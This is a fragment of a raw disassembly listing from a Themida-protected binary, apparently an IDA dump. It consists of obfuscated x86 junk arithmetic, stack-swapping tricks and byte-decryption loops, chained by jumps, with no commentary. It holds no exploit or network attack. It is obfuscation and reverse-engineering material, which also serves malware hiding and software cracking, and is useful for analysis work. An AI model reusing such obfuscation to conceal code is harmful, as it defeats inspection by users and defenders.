loc_5517F6: ; CODE XREF: Themida_:005517FDj
add [edi+ecx*4+40h], eax
dec ecx
loc_5517FB: ; CODE XREF: Themida_:005517F4j
or ecx, ecx
jnz short loc_5517F6
loc_5517FF: ; CODE XREF: Themida_:005517EAj
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_55180C: ; CODE XREF: Themida_:00551813j
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_55180C
loc_551815: ; CODE XREF: Themida_:0055191Ej
; Themida_:loc_55197Cj ...
lodsb
xor al, bl
push dx
jmp loc_55CC57
; ---------------------------------------------------------------------------
loc_55181F: ; CODE XREF: Themida_:005578C0j
or ebx, 52C703Dh
push edi
mov edi, 7DC77D94h
sub edi, 0FFFFFFFFh
shl edi, 5
xor edi, 0F5369C60h
sub ebx, edi
pop edi
jmp loc_552424
; ---------------------------------------------------------------------------
loc_55183F: ; CODE XREF: Themida_:0055BC3Cj
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
push edx
jmp loc_558DF4
; ---------------------------------------------------------------------------
loc_55184F: ; CODE XREF: Themida_:0055A31Bj
mov [esp], ebx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], eax
mov eax, 4C1116D3h
xor [esp+4], eax
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_5568A1
; ---------------------------------------------------------------------------
loc_551888: ; CODE XREF: Themida_:00559EADj
mov eax, 420A341Ah
sub edx, eax
push dword ptr [esp]
pop eax
jmp loc_55BFC6
; ---------------------------------------------------------------------------
loc_551898: ; CODE XREF: Themida_:0055CCAFj
add ecx, 6B891C75h
jmp loc_551DC3
; ---------------------------------------------------------------------------
loc_5518A3: ; CODE XREF: Themida_:00554074j
mov eax, 26502D15h
add eax, 0D9AFD2EFh
jmp loc_552279
; ---------------------------------------------------------------------------
loc_5518B2: ; CODE XREF: Themida_:00552A94j
add ebp, ebx
sub ebp, 539F1999h
mov ebx, [esp]
jmp loc_553D74
; ---------------------------------------------------------------------------
loc_5518C2: ; CODE XREF: Themida_:005575A1j
pop ecx
dec ebx
jmp loc_5578B9
; ---------------------------------------------------------------------------
push 19F1h
mov [esp], ebx
jmp loc_559D03
; ---------------------------------------------------------------------------
loc_5518D6: ; CODE XREF: Themida_:005529AAj
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
sub [esp], al
pushf
jmp loc_55C1F0
; ---------------------------------------------------------------------------
loc_5518EB: ; CODE XREF: Themida_:00554706j
mov esi, 2ECA7C8Fh
push eax
mov eax, 56DD7E32h
sub esi, eax
pop eax
jmp loc_5577BB
; ---------------------------------------------------------------------------
loc_5518FE: ; CODE XREF: Themida_:0055B2C9j
push cx
mov cl, 0F0h
sub esp, 4
mov [esp], edx
push ecx
mov ch, 77h
jmp loc_556F91
; ---------------------------------------------------------------------------
loc_551913: ; CODE XREF: Themida_:0055C951j
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_551923: ; CODE XREF: Themida_:0055A92Aj
or al, 0DBh
add al, 0FDh
and bh, al
pop eax
and bh, 0AFh
shl bh, 4
add bh, 20h
sub dh, bh
pop ebx
add al, dh
jmp loc_552CA2
; ---------------------------------------------------------------------------
loc_55193D: ; CODE XREF: Themida_:005544B4j
xchg edx, [esp]
mov esp, [esp]
push dword ptr [esp]
jmp loc_55879B
; ---------------------------------------------------------------------------
loc_55194B: ; CODE XREF: Themida_:005535A6j
mov [esp], ebx
push ax
jmp loc_55A428
; ---------------------------------------------------------------------------
loc_551955: ; CODE XREF: Themida_:0055BFADj
pop esi
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebx
mov ebx, 2
add esi, ebx
jmp loc_552357
; ---------------------------------------------------------------------------
loc_55196E: ; CODE XREF: Themida_:0055CC72j
pop esp
jmp loc_5533C7
; ---------------------------------------------------------------------------
loc_551974: ; CODE XREF: Themida_:00557009j
xor edx, [esp]
jmp loc_55B7BD
; ---------------------------------------------------------------------------
loc_55197C: ; CODE XREF: Themida_:005558DCj
jmp loc_551815
; ---------------------------------------------------------------------------
loc_551981: ; CODE XREF: Themida_:00552C14j
xchg edi, [esp]
pop esp
and eax, edi
jmp loc_553258
; ---------------------------------------------------------------------------
loc_55198C: ; CODE XREF: Themida_:0055DCB2j
add ecx, 4
jmp loc_555299
; ---------------------------------------------------------------------------
loc_551997: ; CODE XREF: Themida_:0055B2E1j
mov esp, [esp]
add ebx, 2
xchg ebx, [esp]
mov esp, [esp]
shr dword ptr [esp], cl
pushf
jmp loc_55C8AB
; ---------------------------------------------------------------------------
loc_5519AC: ; CODE XREF: Themida_:00552C6Cj
mov ch, 68h
push ebx
jmp loc_556003
; ---------------------------------------------------------------------------
loc_5519B4: ; CODE XREF: Themida_:0055C124j
pop dword ptr [esp]
push ebx
mov ebx, 4
push ebx
mov ebx, 17533079h
sub [esp+8], ebx
pop ebx
add [esp+4], ebx
push esi
mov esi, 17533079h
add [esp+8], esi
mov esi, [esp]
add esp, 4
mov ebx, [esp]
jmp loc_5556EA
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
jmp loc_551D90
; ---------------------------------------------------------------------------
lodsd
jmp loc_5586D1
; ---------------------------------------------------------------------------
loc_5519FC: ; CODE XREF: Themida_:00556A05j
push 114Ah
mov [esp], ecx
push ebp
push 249512C7h
pop ebp
add ebp, 37DD3B4Ch
jmp loc_552B41
; ---------------------------------------------------------------------------
loc_551A16: ; CODE XREF: Themida_:0055865Dj
and ebp, eax
pop eax
xor ebp, 2F593F85h
add eax, ebp
pop ebp
add eax, ebx
sub eax, 2F593E05h
push dword ptr [esp]
pop ebx
push ebx
mov ebx, esp
add ebx, 4
jmp loc_557C39
; ---------------------------------------------------------------------------
loc_551A3B: ; CODE XREF: Themida_:00555F66j
add edi, 4
push ebx
mov ebx, 4
add edi, ebx
jmp loc_552C13
; ---------------------------------------------------------------------------
loc_551A4E: ; CODE XREF: Themida_:00559003j
mov esi, 4117315Ch
mov eax, 46606127h
sub eax, esi
pop esi
jmp loc_554C07
; ---------------------------------------------------------------------------
loc_551A60: ; CODE XREF: Themida_:00559A4Cj
sub ebx, edi
pop edi
sub ebx, ecx
add ebx, 4C362FA9h
jmp loc_55A420
; ---------------------------------------------------------------------------
loc_551A70: ; CODE XREF: Themida_:00553F04j
xor eax, 15CB7EE6h
jmp loc_558A7D
; ---------------------------------------------------------------------------
loc_551A7A: ; CODE XREF: Themida_:00553518j
pop ebp
mov eax, [esp]
add esp, 4
push 37AAh
mov [esp], esi
mov esi, 319D2BEFh
sub eax, 107A366Fh
jmp loc_55C020
; ---------------------------------------------------------------------------
loc_551A9B: ; CODE XREF: Themida_:0055C576j
push 48E10603h
mov edx, [esp]
jmp loc_5526B5
; ---------------------------------------------------------------------------
loc_551AA8: ; CODE XREF: Themida_:0055BA84j
or eax, 6BBF7B48h
add eax, 0DD2B3DE0h
mov edx, eax
pop eax
push ebp
push eax
mov eax, 2F5550C6h
mov ebp, eax
pop eax
jmp loc_557ABE
; ---------------------------------------------------------------------------
loc_551AC4: ; CODE XREF: Themida_:0055AA53j
shr eax, 5
sub eax, 83477963h
add ebx, eax
jmp loc_5567AD
; ---------------------------------------------------------------------------
loc_551AD3: ; CODE XREF: Themida_:005548CCj
mov ah, 5Dh
or dh, ah
pop eax
jmp loc_55725F
; ---------------------------------------------------------------------------
loc_551ADD: ; CODE XREF: Themida_:005550B2j
mov ebp, 4
add edx, ebp
jmp loc_554F12
; ---------------------------------------------------------------------------
loc_551AE9: ; CODE XREF: Themida_:0055D1FEj
pop ebx
sub ebx, 4DDB5A59h
jmp loc_55AC1C
; ---------------------------------------------------------------------------
loc_551AF5: ; CODE XREF: Themida_:00552774j
mov cl, bh
push dword ptr [esp]
jmp loc_5538BB
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
push 5C62h
jmp loc_55B753
; ---------------------------------------------------------------------------
loc_551B0E: ; CODE XREF: Themida_:0055AF75j
add esp, 4
mov ecx, [esp]
add esp, 4
jmp loc_551815
; ---------------------------------------------------------------------------
loc_551B1F: ; CODE XREF: Themida_:005543E9j
mov dl, 0E9h
add al, dl
mov edx, [esp]
add esp, 4
push edx
jmp loc_55C919
; ---------------------------------------------------------------------------
loc_551B32: ; CODE XREF: Themida_:005548D2j
add bh, ch
jmp loc_558C8F
; ---------------------------------------------------------------------------
loc_551B39: ; CODE XREF: Themida_:0055CF38j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_551B3E: ; CODE XREF: Themida_:00556C9Bj
inc ecx
jmp loc_55CA34
; ---------------------------------------------------------------------------
loc_551B44: ; CODE XREF: Themida_:0055792Cj
mov [esp], eax
jmp loc_55995B
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_55C3FB
; ---------------------------------------------------------------------------
loc_551B55: ; CODE XREF: Themida_:005572D4j
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
jmp loc_553B76
; ---------------------------------------------------------------------------
loc_551B64: ; CODE XREF: Themida_:005532C6j
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_55CFBE
; ---------------------------------------------------------------------------
lodsb
sub al, 58h
add al, 0BBh
sub al, bl
sub al, 0BBh
push small 71B3h
mov [esp], dx
mov dh, 58h
push ebx
mov bl, 30h
jmp loc_55B523
; ---------------------------------------------------------------------------
loc_551B8D: ; CODE XREF: Themida_:00559449j
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
mov ax, [esp]
push esi
push 661Eh
mov [esp], ebx
mov ebx, esp
add ebx, 4
push ebp
jmp loc_559799
; ---------------------------------------------------------------------------
loc_551BB4: ; CODE XREF: Themida_:0055783Fj
movzx cx, al
push cx
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_551BC0: ; CODE XREF: Themida_:005566E9j
or cl, 0A5h
push ebx
mov bh, 80h
add bh, 0A1h
and cl, bh
pop ebx
sub cl, 37h
push edx
jmp loc_55C5B3
; ---------------------------------------------------------------------------
loc_551BD5: ; CODE XREF: Themida_:0055503Aj
add esp, 4
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push edx
mov edx, 27281F2Ch
jmp loc_5538F7
; ---------------------------------------------------------------------------
loc_551BF3: ; CODE XREF: Themida_:00554728j
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_55240F
; ---------------------------------------------------------------------------
loc_551BFF: ; CODE XREF: Themida_:00552804j
pop ebp
push ebx
push eax
push ebx
push esi
mov esi, 2F1C6E8Ah
inc esi
xor esi, 35152E2h
xor esi, 4474361Eh
mov ebx, esi
pop esi
dec ebx
shl ebx, 6
push ecx
mov ecx, 1C13173Bh
add ecx, 230769B4h
jmp loc_55A9FA
; ---------------------------------------------------------------------------
loc_551C2E: ; CODE XREF: Themida_:0055520Bj
mov ebx, [esp]
add esp, 4
mov bl, ah
pop eax
jmp loc_55C890
; ---------------------------------------------------------------------------
lodsb
push ebx
mov bl, 6Ah
and bl, 6
push dx
jmp loc_55D85B
; ---------------------------------------------------------------------------
movzx ax, byte ptr fs:[edx]
push ebp
push esp
pop ebp
push 3920h
mov [esp], eax
mov eax, 54D164F4h
push 230Fh
mov [esp], ebp
mov ebp, 276D0E04h
push esi
jmp loc_554FD7
; ---------------------------------------------------------------------------
loc_551C72: ; CODE XREF: Themida_:0055A78Aj
or dword ptr [edi+20h], 483D647Bh
sub dword ptr [edi+20h], 0FFFFFFFFh
xchg esi, [edi+20h]
xchg ebx, esi
not ebx
xchg ebx, esi
xor [edi+20h], esi
xor esi, [edi+20h]
jmp loc_55D116
; ---------------------------------------------------------------------------
loc_551C91: ; CODE XREF: Themida_:00556EB1j
push esi
mov esi, 6D6D7F46h
jmp loc_552793
; ---------------------------------------------------------------------------
loc_551C9C: ; CODE XREF: Themida_:0055C91Cj
mov dl, 7Ah
push eax
push ecx
jmp loc_556105
; ---------------------------------------------------------------------------
loc_551CA5: ; CODE XREF: Themida_:00557F03j
xchg eax, ebp
jmp loc_5578C5
; ---------------------------------------------------------------------------
loc_551CAB: ; CODE XREF: Themida_:00553AC6j
pop esp
jmp loc_55CAE3
; ---------------------------------------------------------------------------
loc_551CB1: ; CODE XREF: Themida_:005530A4j
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push esp
push dword ptr [esp]
jmp loc_55A2C1
; ---------------------------------------------------------------------------
loc_551CD0: ; CODE XREF: Themida_:00556EF5j
add esp, 4
jmp loc_5595A1
; ---------------------------------------------------------------------------
loc_551CD8: ; CODE XREF: Themida_:00559095j
and esi, 764C37B1h
or esi, 2233539Ah
or esi, 4504DFAh
jmp loc_558F17
; ---------------------------------------------------------------------------
loc_551CEF: ; CODE XREF: Themida_:005584BDj
xchg edi, [esp]
pop esp
push 5B4Fh
mov [esp], esi
push 10D1h
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
jmp loc_557A6D
; ---------------------------------------------------------------------------
loc_551D12: ; CODE XREF: Themida_:005522A3j
push edi
mov edi, 33BB0F79h
mov ecx, 369BB2C2h
jmp loc_552590
; ---------------------------------------------------------------------------
loc_551D22: ; CODE XREF: Themida_:005577E9j
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edx
push dword ptr [esp+4]
pop edx
jmp loc_55B501
; ---------------------------------------------------------------------------
loc_551D39: ; CODE XREF: Themida_:0055C581j
add esp, 4
sub esp, 4
jmp loc_5552EB
; ---------------------------------------------------------------------------
unk_551D47 db 0 ; CODE XREF: Themida_:0055A9D2j
; ---------------------------------------------------------------------------
fsubr dword ptr [ebx+ecx]
add al, 0ABh
jmp loc_555CB1
; ---------------------------------------------------------------------------
loc_551D52: ; CODE XREF: Themida_:005563A1j
pop esp
push small 0FC0h
mov [esp], dx
mov dl, 0E8h
add dl, 7Ch
add dl, 0E2h
jmp loc_553C67
; ---------------------------------------------------------------------------
loc_551D68: ; CODE XREF: Themida_:00554A71j
add ecx, 78ABCD20h
jmp loc_55B7A5
; ---------------------------------------------------------------------------
loc_551D73: ; CODE XREF: Themida_:0055D689j
mov [esp], ecx
mov ecx, 3270387Dh
jmp loc_554293
; ---------------------------------------------------------------------------
loc_551D80: ; CODE XREF: Themida_:0055A33Aj
add esi, eax
pop eax
push eax
mov eax, esp
add eax, 4
jmp loc_552C83
; ---------------------------------------------------------------------------
loc_551D90: ; CODE XREF: Themida_:005519F1j
mov [esp], edi
jmp loc_559E42
; ---------------------------------------------------------------------------
loc_551D98: ; CODE XREF: Themida_:00557732j
push esi
push 24135FF8h
jmp loc_55A091
; ---------------------------------------------------------------------------
loc_551DA3: ; CODE XREF: Themida_:00559EE5j
or edi, 59D9262Fh
jmp loc_55AAD8
; ---------------------------------------------------------------------------
loc_551DAE: ; CODE XREF: Themida_:00552C0Ej
xor ch, 0E4h
and ch, 1Ch
push eax
mov al, 0D7h
jmp loc_5548BB
; ---------------------------------------------------------------------------
loc_551DBC: ; CODE XREF: Themida_:0055B35Cj
mov ecx, eax
jmp loc_5532AC
; ---------------------------------------------------------------------------
loc_551DC3: ; CODE XREF: Themida_:0055189Ej
mov edi, [esp]
jmp loc_556BC1
; ---------------------------------------------------------------------------
loc_551DCB: ; CODE XREF: Themida_:005581F5j
push dword ptr [esp+4]
push dword ptr [esp]
pop esi
add esp, 4
pop dword ptr [esp]
jmp loc_55D2AB
; ---------------------------------------------------------------------------
loc_551DE1: ; CODE XREF: Themida_:0055BCD2j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
mov edx, 4E712A9Ch
mov edi, 4E712A9Dh
sub edi, 20E67C6Ch
sub edi, edx
push ebp
mov ebp, 20E67C6Ch
add edi, ebp
pop ebp
jmp loc_55CB42
; ---------------------------------------------------------------------------
loc_551E0B: ; CODE XREF: Themida_:0055754Cj
push esi
push edi
pop esi
jmp loc_5539DC
; ---------------------------------------------------------------------------
loc_551E13: ; CODE XREF: Themida_:005539D7j
add esp, 4
xchg edx, [esp]
pop esp
push dword ptr [esp]
pop eax
jmp loc_55963B
; ---------------------------------------------------------------------------
loc_551E26: ; CODE XREF: Themida_:00556C7Dj
xor eax, [esp]
xor [esp], eax
jmp loc_557115
; ---------------------------------------------------------------------------
loc_551E31: ; CODE XREF: Themida_:00557D38j
pop ebp
jmp loc_552564
; ---------------------------------------------------------------------------
lodsb
jmp loc_557F4C
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_553618
; ---------------------------------------------------------------------------
loc_551E45: ; CODE XREF: Themida_:005576EBj
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push 74A4h
mov [esp], ebp
jmp loc_5538D9
; ---------------------------------------------------------------------------
loc_551E62: ; CODE XREF: Themida_:00558E95j
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
jmp loc_55CBDA
; ---------------------------------------------------------------------------
loc_551E74: ; CODE XREF: Themida_:00552E23j
add ch, al
pop eax
add ch, 84h
jmp loc_55C8B0
; ---------------------------------------------------------------------------
db 88h ; ˆ ; CODE XREF: Themida_:0055CB9Bj
db 0EBh ; ë
db 59h ; Y
db 0E9h ; é
db 6Eh ; n
db 2Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_551E87: ; CODE XREF: Themida_:0055989Dj
mov [esp], eax
push ebp
push 69FF5A39h
mov ebp, [esp]
add esp, 4
xor ebp, 9600A5C6h
mov eax, ebp
mov ebp, [esp]
add esp, 4
push eax
sub dword ptr [esp], 9D8047Ah
pop ebx
add ebx, 9D8047Ah
pop eax
sub [edi+24h], ebx
push dword ptr [esp]
pop ebx
jmp loc_55BC52
; ---------------------------------------------------------------------------
loc_551EC3: ; CODE XREF: Themida_:0055B086j
xchg edi, [esp]
pop esp
imul ecx
push 0A28h
mov [esp], edx
push eax
pushf
jmp loc_55D133
; ---------------------------------------------------------------------------
loc_551ED8: ; CODE XREF: Themida_:00556A17j
push dword ptr [esp]
pop edx
push edi
mov edi, esp
sub esp, 4
mov [esp], eax
mov eax, 4
add edi, 32C9704Dh
add edi, eax
sub edi, 32C9704Dh
pop eax
push esi
push edi
mov edi, 58157839h
sub edi, 1
neg edi
add edi, 48974FD5h
jmp loc_55A1A8
; ---------------------------------------------------------------------------
loc_551F10: ; CODE XREF: Themida_:0055D0C6j
add ebp, 4
add ebp, 4
jmp loc_55ABB7
; ---------------------------------------------------------------------------
loc_551F21: ; CODE XREF: Themida_:00559F92j
mov edi, eax
pop eax
push ebp
mov ebp, edi
jmp loc_558B54
; ---------------------------------------------------------------------------
loc_551F2C: ; CODE XREF: Themida_:00559837j
or ebx, edi
push dword ptr [esp]
pop edi
jmp loc_559E0C
; ---------------------------------------------------------------------------
loc_551F37: ; CODE XREF: Themida_:0055295Ej
mov ebx, [esp]
add esp, 4
mov ecx, [esp]
jmp loc_554FFD
; ---------------------------------------------------------------------------
loc_551F48: ; CODE XREF: Themida_:00555D24j
push eax
mov eax, esp
push 555h
mov [esp], esi
jmp loc_556D69
; ---------------------------------------------------------------------------
loc_551F58: ; CODE XREF: Themida_:0055B9D7j
pop esi
or ecx, 73D74D9Dh
add ecx, 0C20A025h
add edx, 557D2C00h
add edx, ecx
sub edx, 557D2C00h
mov ecx, [esp]
add esp, 4
jmp loc_557F7A
; ---------------------------------------------------------------------------
loc_551F81: ; CODE XREF: Themida_:00553498j
add edx, 0EDB7AE7Ah
add ebp, edx
pop edx
jmp loc_55B6DC
; ---------------------------------------------------------------------------
loc_551F8F: ; CODE XREF: Themida_:005548E0j
xor esi, 0F77BDFBDh
add edi, esi
mov esi, [esp]
add esp, 4
jmp loc_55358A
; ---------------------------------------------------------------------------
locret_551FA2: ; CODE XREF: Themida_:00558CAEj
retn
; ---------------------------------------------------------------------------
jmp loc_551815
; ---------------------------------------------------------------------------
loc_551FA8: ; CODE XREF: Themida_:0055D606j
push edx
mov dl, al
mov cl, dl
pop edx
mov eax, [esp]
add esp, 4
pop edx
jmp loc_5594F5
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5588C1
; ---------------------------------------------------------------------------
loc_551FC6: ; CODE XREF: Themida_:005527D8j
add dword ptr [esp], 4
pop eax
jmp loc_55ACEC
; ---------------------------------------------------------------------------
loc_551FD0: ; CODE XREF: Themida_:0055CCF6j
mov [esp], edx
jmp loc_559A72
; ---------------------------------------------------------------------------
loc_551FD8: ; CODE XREF: Themida_:0055AB59j
push ebp
mov ebp, esp
jmp loc_557BAB
; ---------------------------------------------------------------------------
loc_551FE0: ; CODE XREF: Themida_:00555A4Bj
mov eax, [esp]
jmp loc_558CFA
; ---------------------------------------------------------------------------
loc_551FE8: ; CODE XREF: Themida_:0055D8A4j
push 4C57h
mov [esp], ebx
mov ebx, esp
push esi
push ecx
mov ecx, 4A3A4C59h
not ecx
push ebx
mov ebx, 46B173Eh
and ecx, ebx
pop ebx
sub ecx, 0B357C68Dh
mov esi, ecx
pop ecx
not esi
jmp loc_554209
; ---------------------------------------------------------------------------
loc_552014: ; CODE XREF: Themida_:0055CA27j
push 5FD9h
mov [esp], ebx
mov ebx, 51084248h
sub ebx, 615D49E4h
not ebx
shl ebx, 5
inc ebx
or ebx, 45183A5Eh
add ebx, 0CB1D62A1h
mov edi, ebx
pop ebx
sub edi, 0CF07E5Bh
jmp loc_5549D5
; ---------------------------------------------------------------------------
loc_552047: ; CODE XREF: Themida_:0055CE32j
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_55360E
; ---------------------------------------------------------------------------
loc_552056: ; CODE XREF: Themida_:005558A1j
mov eax, 5F9A328Bh
mov esi, eax
pop eax
neg esi
shr esi, 4
jmp loc_55706E
; ---------------------------------------------------------------------------
loc_552068: ; CODE XREF: Themida_:0055212Dj
push ebx
mov ebx, 7B077F8Eh
shr ebx, 5
add ebx, 6CC1ADAh
sub edx, ebx
pop ebx
push ecx
mov ecx, 594E4CFEh
push edi
mov edi, 4B8C66C0h
not edi
jmp loc_55C956
; ---------------------------------------------------------------------------
loc_55208D: ; CODE XREF: Themida_:00557F90j
add eax, edx
sub eax, 5E6914D4h
mov edx, [esp]
jmp loc_554865
; ---------------------------------------------------------------------------
loc_55209C: ; CODE XREF: Themida_:0055217Cj
mov edx, esi
push dword ptr [esp]
pop esi
add esp, 4
sub edx, 58F64BBDh
sub edx, 48A75FE9h
jmp loc_5555D0
; ---------------------------------------------------------------------------
loc_5520B6: ; CODE XREF: Themida_:0055C319j
push eax
push 881779h
pop eax
dec eax
or eax, 2D2422CAh
and eax, 24A0366Fh
sub eax, 24A03668h
mov edx, eax
pop eax
add esi, edx
mov edx, [esp]
jmp loc_55B08B
; ---------------------------------------------------------------------------
loc_5520DA: ; CODE XREF: Themida_:00554C8Ej
inc eax
add eax, 792F6274h
push ebp
mov ebp, 7A406725h
xor ebp, 6568030Dh
or ebp, 413826B5h
add ebp, 137EF8C0h
and eax, ebp
pop ebp
inc eax
push ebx
mov ebx, 44D63D74h
dec ebx
add ebx, 1
shr ebx, 2
jmp loc_559408
; ---------------------------------------------------------------------------
loc_552111: ; CODE XREF: Themida_:005579CFj
sub cl, 0A7h
xor cl, 15h
xor ah, cl
pop ecx
jmp loc_55A912
; ---------------------------------------------------------------------------
loc_55211F: ; CODE XREF: Themida_:0055C055j
add edx, 33EF7C17h
add edx, 0AA456D6h
sub edx, eax
jmp loc_552068
; ---------------------------------------------------------------------------
loc_552132: ; CODE XREF: Themida_:0055D822j
xor dl, 39h
sub bl, dl
pop edx
push 9DEh
mov [esp], eax
mov al, 90h
add bl, al
push dword ptr [esp]
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
push ebx
mov ebx, 345060FDh
xor ebx, 7A9F1674h
dec ebx
jmp loc_55C453
; ---------------------------------------------------------------------------
loc_55216D: ; CODE XREF: Themida_:00553B02j
xor edx, 5B2868DAh
xor edx, 79E07EB6h
mov esi, edx
pop edx
jmp loc_55209C
; ---------------------------------------------------------------------------
loc_552181: ; CODE XREF: Themida_:0055297Ej
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
push esi
push 2
mov esi, [esp]
add esp, 4
add eax, esi
pop esi
xchg eax, [esp]
jmp loc_55CA09
; ---------------------------------------------------------------------------
loc_5521B8: ; CODE XREF: Themida_:0055ACBFj
push edx
mov edx, esp
jmp loc_55A870
; ---------------------------------------------------------------------------
loc_5521C0: ; CODE XREF: Themida_:0055D34Cj
push dword ptr [esp]
jmp loc_55B2CE
; ---------------------------------------------------------------------------
push ecx
jmp loc_5596A2
; ---------------------------------------------------------------------------
loc_5521CE: ; CODE XREF: Themida_:0055DAD6j
pop ebx
sub ax, cx
mov cx, [esp]
sub esp, 4
jmp loc_555D40
; ---------------------------------------------------------------------------
loc_5521E1: ; CODE XREF: Themida_:0055CA82j
pop esp
mov [esp], eax
jmp loc_553E5C
; ---------------------------------------------------------------------------
loc_5521EA: ; CODE XREF: Themida_:005541CCj
add ebp, 318A3546h
sub ebp, 37B16961h
jmp loc_55366F
; ---------------------------------------------------------------------------
lodsb
add al, 65h
jmp loc_55CF84
; ---------------------------------------------------------------------------
loc_552203: ; CODE XREF: Themida_:0055AF92j
add esi, 5AB35EA2h
jmp loc_55A562
; ---------------------------------------------------------------------------
loc_55220E: ; CODE XREF: Themida_:00554DBCj
and esi, 3DFE6BE0h
add esi, 0E98ECC7Ah
sub edi, esi
mov esi, [esp]
push eax
jmp loc_552B18
; ---------------------------------------------------------------------------
loc_552225: ; CODE XREF: Themida_:00553AD4j
add esi, 1F3F15AAh
jmp loc_558041
; ---------------------------------------------------------------------------
loc_552230: ; CODE XREF: Themida_:005598A5j
mov eax, [esp]
jmp loc_55AB5E
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push ebp
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], esp
push esi
push ebx
jmp loc_55456D
; ---------------------------------------------------------------------------
loc_55225C: ; CODE XREF: Themida_:00554D9Ej
mov ebx, 1
jmp loc_55B393
; ---------------------------------------------------------------------------
loc_552266: ; CODE XREF: Themida_:0055BE84j
pop edx
jmp loc_55CB04
; ---------------------------------------------------------------------------
loc_55226C: ; CODE XREF: Themida_:0055A533j
xor eax, 0F96670A5h
mov esi, eax
pop eax
jmp loc_55908F
; ---------------------------------------------------------------------------
loc_552279: ; CODE XREF: Themida_:005518ADj
add esi, eax
pop eax
xchg esi, [esp]
pop esp
add ebx, eax
sub ebx, 68164C5Eh
push 6637h
jmp loc_55236F
; ---------------------------------------------------------------------------
loc_552292: ; CODE XREF: Themida_:00553EE8j
xchg eax, [esp]
jmp loc_55461E
; ---------------------------------------------------------------------------
loc_55229A: ; CODE XREF: Themida_:0055797Aj
pop edi
push 7Ch
mov [esp], ecx
jmp loc_551D12
; ---------------------------------------------------------------------------
loc_5522A8: ; CODE XREF: Themida_:0055AA0Dj
mov [esp], ecx
push esp
jmp loc_55A554
; ---------------------------------------------------------------------------
loc_5522B1: ; CODE XREF: Themida_:0055473Dj
or ah, 0A6h
shl ah, 6
jmp loc_5545FA
; ---------------------------------------------------------------------------
loc_5522BC: ; CODE XREF: Themida_:0055261Dj
xor edi, ebx
pop ebx
sub edi, 0FFFFFFFFh
neg edi
xchg ebx, edi
not ebx
xchg ebx, edi
xor edi, 29316262h
push edx
jmp loc_555052
; ---------------------------------------------------------------------------
loc_5522D9: ; CODE XREF: Themida_:0055BE27j
xchg esi, ecx
jmp loc_55C097
; ---------------------------------------------------------------------------
loc_5522E0: ; CODE XREF: Themida_:00552FFFj
add eax, 27222BC5h
sub ecx, 7D43615Ah
sub ecx, eax
add ecx, 7D43615Ah
jmp loc_555FAE
; ---------------------------------------------------------------------------
loc_5522F8: ; CODE XREF: Themida_:005549F5j
mov edx, esp
jmp loc_553167
; ---------------------------------------------------------------------------
loc_5522FF: ; CODE XREF: Themida_:0055CEDEj
pop esi
sub ebx, 763E4CCFh
push 158h
mov [esp], ecx
mov cl, 5Bh
dec cl
xchg bh, cl
xchg dh, bh
not dh
xor bh, dh
xor dh, bh
xor bh, dh
xchg bh, cl
or cl, 0E3h
add cl, 0DDh
jmp loc_55AE31
; ---------------------------------------------------------------------------
loc_55232B: ; CODE XREF: Themida_:00557E75j
push edx
mov edx, 3BED5EF2h
mov ebx, 0CC9711CDh
add ebx, 5B3D32D0h
add ebx, edx
jmp loc_55D907
; ---------------------------------------------------------------------------
loc_552343: ; CODE XREF: Themida_:0055365Bj
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push eax
mov eax, esp
sub esp, 4
jmp loc_55D8DB
; ---------------------------------------------------------------------------
loc_552357: ; CODE XREF: Themida_:00551969j
pop ebx
jmp loc_55C018
; ---------------------------------------------------------------------------
loc_55235D: ; CODE XREF: Themida_:0055BA7Dj
push 3B2748D2h
pop ebp
jmp loc_55ACA3
; ---------------------------------------------------------------------------
loc_552368: ; CODE XREF: Themida_:0055CA0Ej
push edi
push esp
jmp loc_55D4E4
; ---------------------------------------------------------------------------
loc_55236F: ; CODE XREF: Themida_:0055228Dj
mov [esp], eax
jmp loc_551815
; ---------------------------------------------------------------------------
loc_552377: ; CODE XREF: Themida_:005548B6j
add edi, ebp
pop ebp
add edi, 91E04C7Dh
add edx, edi
pop edi
jmp loc_55A470
; ---------------------------------------------------------------------------
loc_552388: ; CODE XREF: Themida_:0055C5E0j
push edi
push esi
mov esi, 6A2C158Ah
mov edi, esi
